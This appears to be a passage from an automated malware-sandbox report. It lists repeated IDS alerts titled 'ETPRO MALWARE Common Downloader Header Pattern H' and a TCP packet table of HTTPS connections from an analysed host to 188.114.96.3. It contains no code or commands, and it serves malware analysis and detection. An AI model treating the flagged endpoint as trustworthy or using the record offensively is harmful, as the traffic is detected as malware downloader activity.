2025-01-09T08:31:47.919217+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50341	188.114.96.3	443	TCP
2025-01-09T08:31:48.504179+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50342	188.114.96.3	443	TCP
2025-01-09T08:31:49.102554+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50343	188.114.96.3	443	TCP
2025-01-09T08:31:49.713153+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50344	188.114.96.3	443	TCP
2025-01-09T08:31:50.460693+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50346	188.114.96.3	443	TCP
2025-01-09T08:31:51.051607+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50347	188.114.96.3	443	TCP
2025-01-09T08:31:51.695397+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50348	188.114.96.3	443	TCP
2025-01-09T08:31:52.306409+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50349	188.114.96.3	443	TCP
2025-01-09T08:31:52.899489+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50350	188.114.96.3	443	TCP
2025-01-09T08:31:53.513088+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50351	188.114.96.3	443	TCP
2025-01-09T08:31:54.141359+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50352	188.114.96.3	443	TCP
2025-01-09T08:31:54.723858+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50353	188.114.96.3	443	TCP
2025-01-09T08:31:55.310092+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50354	188.114.96.3	443	TCP
2025-01-09T08:31:55.905532+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50355	188.114.96.3	443	TCP
2025-01-09T08:31:56.480838+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50356	188.114.96.3	443	TCP
2025-01-09T08:31:57.079113+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50357	188.114.96.3	443	TCP
2025-01-09T08:31:57.685922+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50358	188.114.96.3	443	TCP
2025-01-09T08:31:58.281263+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50359	188.114.96.3	443	TCP
2025-01-09T08:31:58.911163+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50360	188.114.96.3	443	TCP
2025-01-09T08:31:59.531661+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50361	188.114.96.3	443	TCP
2025-01-09T08:32:00.138479+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50362	188.114.96.3	443	TCP
2025-01-09T08:32:00.750767+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50363	188.114.96.3	443	TCP
2025-01-09T08:32:01.340395+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50364	188.114.96.3	443	TCP
2025-01-09T08:32:01.939725+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50365	188.114.96.3	443	TCP
2025-01-09T08:32:02.583350+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50366	188.114.96.3	443	TCP
2025-01-09T08:32:03.190707+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50367	188.114.96.3	443	TCP
2025-01-09T08:32:03.779049+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50368	188.114.96.3	443	TCP
2025-01-09T08:32:04.423341+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50369	188.114.96.3	443	TCP
2025-01-09T08:32:05.102406+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50370	188.114.96.3	443	TCP
2025-01-09T08:32:05.753776+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50371	188.114.96.3	443	TCP
2025-01-09T08:32:06.482284+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50372	188.114.96.3	443	TCP
2025-01-09T08:32:07.080302+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50373	188.114.96.3	443	TCP
2025-01-09T08:32:07.706413+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50374	188.114.96.3	443	TCP
2025-01-09T08:32:08.310792+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50375	188.114.96.3	443	TCP
2025-01-09T08:32:08.896608+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50376	188.114.96.3	443	TCP
2025-01-09T08:32:09.486830+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50377	188.114.96.3	443	TCP
2025-01-09T08:32:10.243117+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50378	188.114.96.3	443	TCP
2025-01-09T08:32:10.862068+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50379	188.114.96.3	443	TCP
2025-01-09T08:32:11.469563+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50380	188.114.96.3	443	TCP
2025-01-09T08:32:12.415002+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50382	188.114.96.3	443	TCP
2025-01-09T08:32:13.027520+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50383	188.114.96.3	443	TCP
2025-01-09T08:32:13.608078+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50384	188.114.96.3	443	TCP
2025-01-09T08:32:14.226947+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50385	188.114.96.3	443	TCP
2025-01-09T08:32:14.848995+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50386	188.114.96.3	443	TCP
2025-01-09T08:32:15.455769+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50387	188.114.96.3	443	TCP
2025-01-09T08:32:16.095986+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50388	188.114.96.3	443	TCP
2025-01-09T08:32:16.685665+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50389	188.114.96.3	443	TCP
2025-01-09T08:32:17.290570+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50390	188.114.96.3	443	TCP
2025-01-09T08:32:17.952543+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50391	188.114.96.3	443	TCP
2025-01-09T08:32:18.576043+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50392	188.114.96.3	443	TCP
2025-01-09T08:32:19.210381+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50393	188.114.96.3	443	TCP
2025-01-09T08:32:19.838768+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50394	188.114.96.3	443	TCP
2025-01-09T08:32:20.474746+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50395	188.114.96.3	443	TCP
2025-01-09T08:32:21.101418+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50396	188.114.96.3	443	TCP
2025-01-09T08:32:21.722496+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50397	188.114.96.3	443	TCP
2025-01-09T08:32:22.345414+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50398	188.114.96.3	443	TCP
2025-01-09T08:32:22.958741+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50399	188.114.96.3	443	TCP
2025-01-09T08:32:23.563867+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50400	188.114.96.3	443	TCP
2025-01-09T08:32:24.174382+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50401	188.114.96.3	443	TCP
2025-01-09T08:32:24.765675+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50402	188.114.96.3	443	TCP
2025-01-09T08:32:26.326966+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50404	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 08:28:20.434252024 CET	49730	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:20.434303045 CET	443	49730	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:20.434397936 CET	49730	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:20.449657917 CET	49730	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:20.449682951 CET	443	49730	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:20.912636995 CET	443	49730	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:20.912898064 CET	49730	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:20.917392015 CET	49730	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:20.917404890 CET	443	49730	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:20.917707920 CET	443	49730	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:20.957612038 CET	49730	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:20.975636959 CET	49730	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:21.023344040 CET	443	49730	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:21.074455023 CET	443	49730	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:21.074503899 CET	443	49730	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:21.074533939 CET	443	49730	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:21.074553967 CET	49730	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:21.074565887 CET	443	49730	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:21.074579954 CET	443	49730	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:21.074609995 CET	49730	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:21.074690104 CET	443	49730	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:21.074737072 CET	49730	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:21.088540077 CET	49730	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:21.094599962 CET	49731	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:21.094654083 CET	443	49731	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:21.094738960 CET	49731	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:21.095021963 CET	49731	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:21.095038891 CET	443	49731	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:21.550228119 CET	443	49731	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:21.552619934 CET	49731	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:21.552644014 CET	443	49731	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:21.665191889 CET	443	49731	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:21.665246010 CET	443	49731	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:21.665278912 CET	443	49731	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:21.665313959 CET	49731	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:21.665318012 CET	443	49731	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:21.665338039 CET	443	49731	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:21.665357113 CET	49731	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:21.665436983 CET	443	49731	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:21.665486097 CET	49731	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:21.666671038 CET	49731	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:21.667800903 CET	49732	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:21.667860031 CET	443	49732	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:21.667933941 CET	49732	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:21.668257952 CET	49732	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:21.668275118 CET	443	49732	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.137233973 CET	443	49732	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.192002058 CET	49732	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:22.218246937 CET	49732	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:22.218265057 CET	443	49732	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.319703102 CET	443	49732	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.319751024 CET	443	49732	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.319797993 CET	49732	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:22.319814920 CET	443	49732	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.319849968 CET	443	49732	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.319885015 CET	443	49732	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.319891930 CET	49732	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:22.319900990 CET	443	49732	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.319941998 CET	49732	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:22.319948912 CET	443	49732	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.319984913 CET	443	49732	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.320027113 CET	49732	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:22.325450897 CET	49732	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:22.326683998 CET	49733	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:22.326719999 CET	443	49733	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.326800108 CET	49733	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:22.327086926 CET	49733	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:22.327099085 CET	443	49733	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.782581091 CET	443	49733	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.784923077 CET	49733	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:22.784938097 CET	443	49733	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.916609049 CET	443	49733	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.916656017 CET	443	49733	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.916690111 CET	443	49733	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.916721106 CET	443	49733	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.916812897 CET	443	49733	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.916874886 CET	49733	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:22.916874886 CET	49733	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:22.917766094 CET	49733	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:22.917766094 CET	49733	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:22.919042110 CET	49734	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:22.919085026 CET	443	49734	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:22.919198990 CET	49734	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:22.919466019 CET	49734	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:22.919483900 CET	443	49734	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:23.394172907 CET	443	49734	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:23.396583080 CET	49734	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:23.396603107 CET	443	49734	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:23.524801016 CET	443	49734	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:23.524863958 CET	443	49734	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:23.524893045 CET	443	49734	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:23.524916887 CET	443	49734	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:23.524940968 CET	49734	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:23.524969101 CET	443	49734	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:23.524982929 CET	49734	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:23.525042057 CET	443	49734	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:23.525094032 CET	49734	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:23.526046991 CET	49734	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:23.527475119 CET	49735	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:23.527499914 CET	443	49735	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:23.527576923 CET	49735	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:23.527904987 CET	49735	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:23.527919054 CET	443	49735	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:23.984316111 CET	443	49735	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:23.986852884 CET	49735	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:23.986871958 CET	443	49735	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.103374958 CET	443	49735	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.103430033 CET	443	49735	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.103467941 CET	443	49735	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.103476048 CET	49735	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:24.103492975 CET	443	49735	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.103526115 CET	443	49735	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.103553057 CET	49735	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:24.103559017 CET	443	49735	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.103604078 CET	49735	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:24.103607893 CET	443	49735	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.103645086 CET	443	49735	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.103693962 CET	49735	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:24.104686975 CET	49735	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:24.105988026 CET	49736	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:24.106029034 CET	443	49736	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.106111050 CET	49736	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:24.106528044 CET	49736	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:24.106542110 CET	443	49736	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.576658010 CET	443	49736	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.578526974 CET	49736	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:24.578572989 CET	443	49736	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.697799921 CET	443	49736	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.697868109 CET	443	49736	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.697900057 CET	443	49736	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.697932005 CET	443	49736	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.697963953 CET	49736	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:24.697978973 CET	443	49736	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.698031902 CET	443	49736	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.698048115 CET	49736	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:24.698098898 CET	49736	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:24.712699890 CET	49736	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:24.715317011 CET	49737	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:24.715343952 CET	443	49737	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:24.715435982 CET	49737	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:24.715698004 CET	49737	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:24.715714931 CET	443	49737	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.184439898 CET	443	49737	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.187221050 CET	49737	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:25.187239885 CET	443	49737	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.317822933 CET	443	49737	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.317873955 CET	443	49737	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.317903996 CET	443	49737	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.317931890 CET	443	49737	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.317965031 CET	49737	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:25.317989111 CET	443	49737	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.318001032 CET	49737	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:25.318054914 CET	443	49737	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.318109035 CET	49737	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:25.318872929 CET	49737	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:25.320152998 CET	49738	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:25.320213079 CET	443	49738	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.320297003 CET	49738	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:25.320799112 CET	49738	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:25.320812941 CET	443	49738	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.784224987 CET	443	49738	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.786462069 CET	49738	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:25.786478043 CET	443	49738	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.901597023 CET	443	49738	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.901657104 CET	443	49738	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.901689053 CET	443	49738	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.901711941 CET	49738	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:25.901715994 CET	443	49738	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.901726007 CET	443	49738	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.901776075 CET	49738	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:25.901830912 CET	443	49738	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.901875019 CET	49738	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:25.902756929 CET	49738	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:25.903882980 CET	49739	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:25.903922081 CET	443	49739	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:25.904001951 CET	49739	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:25.904242992 CET	49739	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:25.904258013 CET	443	49739	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:26.389414072 CET	443	49739	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:26.391274929 CET	49739	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:26.391292095 CET	443	49739	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:26.529567003 CET	443	49739	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:26.529705048 CET	443	49739	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:26.529735088 CET	443	49739	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:26.529762030 CET	49739	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:26.529763937 CET	443	49739	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:26.529776096 CET	443	49739	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:26.529815912 CET	49739	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:26.529875040 CET	443	49739	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:26.529952049 CET	49739	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:26.530802965 CET	49739	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:26.531788111 CET	49740	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:26.531837940 CET	443	49740	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:26.531907082 CET	49740	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:26.532152891 CET	49740	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:26.532167912 CET	443	49740	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:26.986522913 CET	443	49740	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:26.988383055 CET	49740	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:26.988399029 CET	443	49740	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:27.103333950 CET	443	49740	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:27.103403091 CET	443	49740	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:27.103434086 CET	443	49740	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:27.103462934 CET	443	49740	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:27.103465080 CET	49740	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:27.103490114 CET	443	49740	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:27.103508949 CET	49740	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:27.103615046 CET	443	49740	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:27.103674889 CET	49740	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:27.104617119 CET	49740	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:27.105844021 CET	49741	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:27.105886936 CET	443	49741	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:27.105967999 CET	49741	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:27.106209040 CET	49741	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:27.106224060 CET	443	49741	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:27.572695971 CET	443	49741	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:27.598472118 CET	49741	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:27.598486900 CET	443	49741	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:27.702346087 CET	443	49741	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:27.702398062 CET	443	49741	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:27.702456951 CET	443	49741	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:27.702461004 CET	49741	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:27.702475071 CET	443	49741	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:27.702508926 CET	443	49741	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:27.702519894 CET	49741	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:27.702527046 CET	443	49741	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:27.702569008 CET	49741	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:27.702588081 CET	443	49741	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:27.702645063 CET	49741	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:27.751498938 CET	49741	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:27.754726887 CET	49742	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:27.754770041 CET	443	49742	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:27.754836082 CET	49742	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:27.755981922 CET	49742	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:27.755996943 CET	443	49742	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.233870029 CET	443	49742	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.235899925 CET	49742	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:28.235948086 CET	443	49742	188.114.96.3	192.168.2.4
